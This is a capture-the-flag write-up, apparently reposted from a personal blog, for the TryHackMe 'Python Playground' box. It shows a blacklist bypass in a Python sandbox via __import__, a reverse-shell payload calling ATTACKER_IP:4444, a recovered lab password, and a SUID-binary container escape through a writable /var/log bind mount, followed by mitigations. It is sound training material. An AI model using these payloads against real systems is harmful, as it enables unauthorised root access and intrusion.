DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe: Python Playground Writeup

Summary

Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's __import__() builtin to dynamically load os/subprocess without triggering the blacklisted keywords. This gives remote code execution as root on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, connor. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (/var/log on the host is bind-mounted into the container at /mnt/log) is abused to plant a SUID root binary on the host filesystem, which connor can then execute for a full container-to-host privilege escalation.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000
Enter fullscreen mode Exit fullscreen mode
Open MACHINE_IP:22
Open MACHINE_IP:80
Enter fullscreen mode Exit fullscreen mode
nmap -sC -sV MACHINE_IP -p 22,80 -oN nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
Enter fullscreen mode Exit fullscreen mode
curl http://MACHINE_IP/
Enter fullscreen mode Exit fullscreen mode

Secure Python Playground

... Introducing the new era code sandbox; python playground! Normally, code playgrounds that execute code serverside are easy ways for hackers to access a system. Not anymore! With our new, foolproof blacklist, no one can break into our servers, and we can all enjoy the convenience of running our python code on the cloud! ... href="login.html">Login href="signup.html">Sign up
Enter fullscreen mode Exit fullscreen mode

login.html and signup.html both return a "site is admin-only right now" placeholder page.

2. Content discovery

gobuster dir -u http://MACHINE_IP/ -w /usr/share/wordlists/dirb/common.txt -x html
Enter fullscreen mode Exit fullscreen mode
admin.html           (Status: 200) [Size: 3134]
index.html           (Status: 200) [Size: 941]
login.html           (Status: 200) [Size: 549]
signup.html          (Status: 200) [Size: 549]
Enter fullscreen mode Exit fullscreen mode

admin.html (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:

curl http://MACHINE_IP/super-secret-admin-testing-panel.html
Enter fullscreen mode Exit fullscreen mode

Returns an unauthenticated form:

 class="m-3">Python Playground! - By Connor
 class="form-control mb-3" name="code">
 class="form-control mb-3" readonly>
 type="submit" class="form-control btn-primary mb-3" value="Go!">
Enter fullscreen mode Exit fullscreen mode

3. Filter analysis

Basic execution works fine:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(1+1)"
Enter fullscreen mode Exit fullscreen mode
 ...>2

Exit code 0
Enter fullscreen mode Exit fullscreen mode

But anything referencing os/subprocess/import directly is blocked:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import os print(os.popen('id').read())"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('os').system('id')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.run('ls')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.check_output('ls')"
Enter fullscreen mode Exit fullscreen mode

All of these return:

 class="form-control mb-3" readonly>Security threat detected!
Enter fullscreen mode Exit fullscreen mode

4. Filter bypass

Calling __import__('subprocess') as an attribute chain, without the literal blacklisted call pattern, gets through:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('subprocess').check_output('id')"
Enter fullscreen mode Exit fullscreen mode
 class="form-control mb-3" readonly>
Exit code 0
Enter fullscreen mode Exit fullscreen mode

Confirming full command execution:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"
Enter fullscreen mode Exit fullscreen mode
 class="form-control mb-3" readonly>b'uid=0(root) gid=0(root) groups=0(root)\n'

Exit code 0
Enter fullscreen mode Exit fullscreen mode

5. Reverse shell

A raw socket.connect() + subprocess.call(["/bin/sh","-i"], ...) payload built purely from __import__() calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode 'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'
Enter fullscreen mode Exit fullscreen mode

Caught with a listener (penelope in this case):

penelope listen -p 4444
[+] [New Reverse Shell] => playgroundweb MACHINE_IP Linux-x86_64  Session ID <1>
[+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#
Enter fullscreen mode Exit fullscreen mode

Landed directly as root inside the web app's container:

root@playgroundweb:~/app# whoami
root
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls
index.js  node_modules  package-lock.json  package.json  scripts  static
Enter fullscreen mode Exit fullscreen mode

Container flag:

root@playgroundweb:~/app# cd /root
root@playgroundweb:~# cat flag1.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

6. Recovering connor's credentials (cipher reversal)

A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:

>>> def f_inv(s):
...     out = []
...     for i in range(0, len(s), 2):
...         a = ord(s[i]) - 97
...         b = ord(s[i+1]) - 97
...         out.append(chr(a*26 + b))
...     return ''.join(out)
...
... target = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
... step1 = f_inv(target)   # undo the outer f
... password = f_inv(step1) # undo the inner f
... print(password)
...
spaghetti1245
Enter fullscreen mode Exit fullscreen mode

7. SSH access as connor

ssh connor@MACHINE_IP
Enter fullscreen mode Exit fullscreen mode
connor@MACHINE_IP's password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)
Enter fullscreen mode Exit fullscreen mode

Flag from connor's home directory:

connor@pythonplayground:~$ cat flag2.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Initial enumeration as connor came up empty:

connor@pythonplayground:~$ sudo -l
Sorry, user connor may not run sudo on pythonplayground.
connor@pythonplayground:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su
Enter fullscreen mode Exit fullscreen mode

8. Realizing the RCE landed inside a Docker container

Going back to the earlier super-secret-admin-testing-panel.html shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (playgroundweb) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host connor was SSH'd into:

root@playgroundweb:~# which docker
root@playgroundweb:~#
Enter fullscreen mode Exit fullscreen mode

With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.

9. Container escape prep - abusing a shared log mount

root@playgroundweb:~# cat /proc/self/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | grep -v "proc\|sys\|tmpfs\|overlay\|devpts\|mqueue\|shm"
/dev/nvme1n1p2 on /mnt/log type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
root@playgroundweb:~# findmnt /mnt/log
TARGET   SOURCE                   FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4   rw,relatime,data=ordered
Enter fullscreen mode Exit fullscreen mode

/mnt/log inside the container is the host's /var/log, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:

connor@pythonplayground:~$ find / -type d -name log 2>/dev/null
/var/log
connor@pythonplayground:~$ ls -la /var/log
total 3900
drwxrwxr-x   9 root      syslog             4096 May 11  2020 .
...
Enter fullscreen mode Exit fullscreen mode

10. Planting a SUID root binary on the host

root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# cat << 'EOF' > /tmp/privesc.c
#include 
#include 
#include 
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF
root@playgroundweb:~/app# gcc -static -o /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# chmod 4755 /mnt/log/privesc
root@playgroundweb:~/app# ls -la /mnt/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /mnt/log/privesc
Enter fullscreen mode Exit fullscreen mode

11. Privilege escalation via the planted SUID binary

The binary written to /mnt/log/privesc inside the container appears on the host at the corresponding /var/log path:

connor@pythonplayground:~$ ls -la /var/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~$ /var/log/privesc -p
root@pythonplayground:~# whoami
root
root@pythonplayground:~# id
uid=0(root) gid=0(root) groups=0(root),1000(connor)
Enter fullscreen mode Exit fullscreen mode

Final flag:

root@pythonplayground:/root# cat flag3.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

  • Insecure Python "sandbox" (blacklist-based code execution filter) - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access). __import__() used as a callable bypasses any blacklist built around literal import statements or named function calls.
  • Unrestricted server-side code execution as root - The playground process itself ran as root inside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context.
  • Sensitive host path bind-mounted into a container with write access - /var/log on the host was mounted into the application container at /mnt/log with read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem.
  • Weak "custom crypto" for credential storage - The connor password was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered.
  • Hidden but unauthenticated admin endpoint - super-secret-admin-testing-panel.html was reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.

Mitigations

  • Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g., nsjail, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely.
  • Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.
  • Avoid bind-mounting sensitive host directories (especially /var/log or anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points.
  • Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.
  • Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.

Top comments (0)